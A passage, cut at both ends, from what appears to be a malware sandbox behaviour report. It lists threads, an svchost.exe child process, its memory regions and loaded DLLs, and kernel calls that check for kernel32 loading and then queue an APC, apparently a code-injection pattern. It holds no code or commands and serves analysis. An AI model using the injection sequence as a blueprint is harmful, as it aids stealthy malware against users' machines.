lpSrch="wermgr.exe") returned 0x0 [0077.565] HeapDestroy (hHeap=0xe90000) returned 1 Thread: id = 137 os_tid = 0x2a8 Thread: id = 138 os_tid = 0x2ac [0100.380] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FWPUCLNT.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 139 os_tid = 0x2b0 [0077.576] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcEpMap.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.598] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\RpcRtRemote.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.601] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\secur32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.601] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.602] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.606] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\credssp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.610] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 140 os_tid = 0x2b4 Thread: id = 141 os_tid = 0x2b8 [0077.869] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\FirewallAPI.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.877] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\version.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0084.772] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\clbcatq.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0090.489] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035a2000 [0090.490] IdePortDispatch () returned 0x103 Thread: id = 142 os_tid = 0x2bc [0077.624] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcss.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.637] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptsp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.643] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rsaenh.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.645] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.645] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.649] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\mswsock.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.653] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\WSHTCPIP.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.678] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wship6.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.686] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wshqos.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.687] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wshqos.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.688] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wshqos.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.688] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wshqos.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 143 os_tid = 0x2c0 Thread: id = 339 os_tid = 0x574 Thread: id = 456 os_tid = 0x754 Thread: id = 459 os_tid = 0x760 Thread: id = 478 os_tid = 0x7b4 Process: id = "16" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x208c4000" os_pid = "0x2c4" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" Region: id = 1014 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1015 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 1016 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 1017 start_va = 0x70000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 1018 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 1019 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1020 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1021 start_va = 0xff1c0000 end_va = 0xff1cafff entry_point = 0xff1c246c region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" Region: id = 1022 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 1023 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 1024 start_va = 0x7fffffdd000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 1025 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 1026 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1027 start_va = 0x50000 end_va = 0x50fff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1028 start_va = 0x140000 end_va = 0x23ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 1029 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 1030 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 1031 start_va = 0x60000 end_va = 0x6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 1032 start_va = 0x240000 end_va = 0x2a6fff entry_point = 0x240000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 1033 start_va = 0x2b0000 end_va = 0x3affff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 1034 start_va = 0x3f0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 1035 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1036 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1037 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 1038 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 1039 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 1040 start_va = 0xf0000 end_va = 0xf6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 1041 start_va = 0x100000 end_va = 0x101fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 1042 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 1043 start_va = 0x120000 end_va = 0x120fff entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 1044 start_va = 0x400000 end_va = 0x587fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 1045 start_va = 0x590000 end_va = 0x710fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000590000" filename = "" Region: id = 1046 start_va = 0x720000 end_va = 0x7dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000720000" filename = "" Region: id = 1047 start_va = 0x7e0000 end_va = 0xbd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007e0000" filename = "" Region: id = 1048 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 1049 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 1050 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 1051 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 1052 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 1053 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 1054 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 1055 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 1056 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 1057 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 1058 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 1059 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 1060 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 1061 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 1062 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 1090 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 1091 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 1092 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 1093 start_va = 0xf20000 end_va = 0x11eefff entry_point = 0xf20000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1108 start_va = 0xd50000 end_va = 0xdcffff entry_point = 0x0 region_type = private name = "private_0x0000000000d50000" filename = "" Region: id = 1109 start_va = 0xe50000 end_va = 0xecffff entry_point = 0x0 region_type = private name = "private_0x0000000000e50000" filename = "" Region: id = 1110 start_va = 0x12e0000 end_va = 0x135ffff entry_point = 0x0 region_type = private name = "private_0x00000000012e0000" filename = "" Region: id = 1111 start_va = 0x1470000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1112 start_va = 0x7fefcbc0000 end_va = 0x7fefcd55fff entry_point = 0x7fefcbc78e4 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" Region: id = 1113 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1114 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 1115 start_va = 0x7fffffd7000 end_va = 0x7fffffd8fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 1116 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 1117 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 1118 start_va = 0x3b0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003b0000" filename = "" Region: id = 1119 start_va = 0x1360000 end_va = 0x145ffff entry_point = 0x0 region_type = private name = "private_0x0000000001360000" filename = "" Region: id = 1120 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 1121 start_va = 0x15c0000 end_va = 0x163ffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 1122 start_va = 0x16d0000 end_va = 0x16d7fff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 1123 start_va = 0x7fefd060000 end_va = 0x7fefd069fff entry_point = 0x7fefd063cb8 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" Region: id = 1124 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1125 start_va = 0x7fefd6a0000 end_va = 0x7fefd70cfff entry_point = 0x7fefd6a1010 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" Region: id = 1126 start_va = 0x7fefda00000 end_va = 0x7fefda0afff entry_point = 0x7fefda01030 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" Region: id = 1127 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1128 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1129 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 1130 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 1494 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1495 start_va = 0x130000 end_va = 0x130fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000130000" filename = "" Region: id = 1496 start_va = 0xbe0000 end_va = 0xbfffff entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 1497 start_va = 0xc00000 end_va = 0xc1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 1498 start_va = 0xc20000 end_va = 0xc20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c20000" filename = "" Region: id = 1499 start_va = 0x1220000 end_va = 0x129ffff entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 1500 start_va = 0x1650000 end_va = 0x16cffff entry_point = 0x0 region_type = private name = "private_0x0000000001650000" filename = "" Region: id = 1501 start_va = 0x1730000 end_va = 0x17affff entry_point = 0x0 region_type = private name = "private_0x0000000001730000" filename = "" Region: id = 1502 start_va = 0x1800000 end_va = 0x187ffff entry_point = 0x0 region_type = private name = "private_0x0000000001800000" filename = "" Region: id = 1503 start_va = 0x1880000 end_va = 0x18fffff entry_point = 0x0 region_type = private name = "private_0x0000000001880000" filename = "" Region: id = 1504 start_va = 0x1900000 end_va = 0x19fffff entry_point = 0x0 region_type = private name = "private_0x0000000001900000" filename = "" Region: id = 1505 start_va = 0x1a50000 end_va = 0x1acffff entry_point = 0x0 region_type = private name = "private_0x0000000001a50000" filename = "" Region: id = 1506 start_va = 0x1bb0000 end_va = 0x1c2ffff entry_point = 0x0 region_type = private name = "private_0x0000000001bb0000" filename = "" Region: id = 1507 start_va = 0xffe90000 end_va = 0xffee2fff entry_point = 0xffea3310 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" Region: id = 1508 start_va = 0x7fefbb60000 end_va = 0x7fefbb68fff entry_point = 0x7fefbb61010 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" Region: id = 1509 start_va = 0x7fefbb70000 end_va = 0x7fefbc1bfff entry_point = 0x7fefbb86b0c region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" Region: id = 1510 start_va = 0x7fefc0b0000 end_va = 0x7fefc0fafff entry_point = 0x7fefc0befcc region_type = mapped_file name = "MMDevAPI.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" Region: id = 1511 start_va = 0x7fefc520000 end_va = 0x7fefc64bfff entry_point = 0x7fefc5294bc region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" Region: id = 1512 start_va = 0x7fefcb90000 end_va = 0x7fefcbbbfff entry_point = 0x7fefcb915c4 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" Region: id = 1513 start_va = 0x7fefce30000 end_va = 0x7fefce36fff entry_point = 0x7fefce314b0 region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\System32\\WSHTCPIP.DLL" Region: id = 1514 start_va = 0x7fefcf30000 end_va = 0x7fefcf4afff entry_point = 0x7fefcf32068 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" Region: id = 1515 start_va = 0x7fefd420000 end_va = 0x7fefd426fff entry_point = 0x7fefd42142c region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" Region: id = 1516 start_va = 0x7fefd430000 end_va = 0x7fefd484fff entry_point = 0x7fefd431054 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" Region: id = 1517 start_va = 0x7fefddc0000 end_va = 0x7fefddf5fff entry_point = 0x7fefddc1474 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" Region: id = 1518 start_va = 0x7fefde70000 end_va = 0x7fefde89fff entry_point = 0x7fefde71558 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" Region: id = 1519 start_va = 0x7feff1e0000 end_va = 0x7feff22cfff entry_point = 0x7feff1e1070 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" Region: id = 1520 start_va = 0x7feff310000 end_va = 0x7feff4e6fff entry_point = 0x7feff311010 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" Region: id = 1521 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 1522 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 1523 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 1524 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 1525 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 1526 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 1527 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 1528 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2213 start_va = 0xc30000 end_va = 0xc30fff entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 2214 start_va = 0xc40000 end_va = 0xc40fff entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 2215 start_va = 0xc50000 end_va = 0xc50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000c50000" filename = "" Region: id = 2216 start_va = 0xdd0000 end_va = 0xe4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000dd0000" filename = "" Region: id = 2217 start_va = 0x1460000 end_va = 0x14c1fff entry_point = 0x14708d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" Region: id = 2218 start_va = 0x1c90000 end_va = 0x1d0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001c90000" filename = "" Region: id = 2219 start_va = 0x1d10000 end_va = 0x1f0ffff entry_point = 0x0 region_type = private name = "private_0x0000000001d10000" filename = "" Region: id = 2220 start_va = 0x1f50000 end_va = 0x1fcffff entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 2221 start_va = 0xffc30000 end_va = 0xffc91fff entry_point = 0xffc408d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" Region: id = 2222 start_va = 0x7fefae00000 end_va = 0x7fefae07fff entry_point = 0x7fefae0284c region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" Region: id = 2223 start_va = 0x7fefae10000 end_va = 0x7fefae19fff entry_point = 0x7fefae11adc region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" Region: id = 2224 start_va = 0x7fefb680000 end_va = 0x7fefb68afff entry_point = 0x7fefb681198 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" Region: id = 2225 start_va = 0x7fefb690000 end_va = 0x7fefb6b6fff entry_point = 0x7fefb6998bc region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\System32\\IPHLPAPI.DLL" Region: id = 2226 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 2227 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2228 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2252 start_va = 0x1a20000 end_va = 0x1a9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a20000" filename = "" Region: id = 2253 start_va = 0x1ae0000 end_va = 0x1b5ffff entry_point = 0x0 region_type = private name = "private_0x0000000001ae0000" filename = "" Region: id = 2254 start_va = 0x2180000 end_va = 0x21fffff entry_point = 0x0 region_type = private name = "private_0x0000000002180000" filename = "" Region: id = 2255 start_va = 0x7fefad90000 end_va = 0x7fefade0fff entry_point = 0x7fefad9f6c0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" Region: id = 2256 start_va = 0x7fefd2b0000 end_va = 0x7fefd30afff entry_point = 0x7fefd2b6940 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" Region: id = 2257 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2258 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2312 start_va = 0x7fefad50000 end_va = 0x7fefad8afff entry_point = 0x7fefad54520 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" Region: id = 2313 start_va = 0x7fefcd60000 end_va = 0x7fefcd6bfff entry_point = 0x7fefcd61064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" Region: id = 2314 start_va = 0x7fefcd70000 end_va = 0x7fefce2afff entry_point = 0x7fefcd76de0 region_type = mapped_file name = "FirewallAPI.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" Region: id = 2335 start_va = 0x2010000 end_va = 0x208ffff entry_point = 0x0 region_type = private name = "private_0x0000000002010000" filename = "" Region: id = 2336 start_va = 0x20d0000 end_va = 0x214ffff entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 2337 start_va = 0x22c0000 end_va = 0x233ffff entry_point = 0x0 region_type = private name = "private_0x00000000022c0000" filename = "" Region: id = 2338 start_va = 0x7fefac90000 end_va = 0x7fefaca0fff entry_point = 0x7fefac916ac region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" Region: id = 2339 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 2340 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 2341 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 2342 start_va = 0x7fefac70000 end_va = 0x7fefac87fff entry_point = 0x7fefac71bf8 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" Thread: id = 145 os_tid = 0x2c8 [0077.784] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\svchost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.784] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0077.786] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0077.786] IoIs32bitProcess (Irp=0x0) returned 0 [0077.786] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa8003630a70 [0077.786] KeInitializeApc (Apc=0xfffffa8003630a70, Thread=0xfffffa800363d3c0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0077.786] KeInsertQueueApc 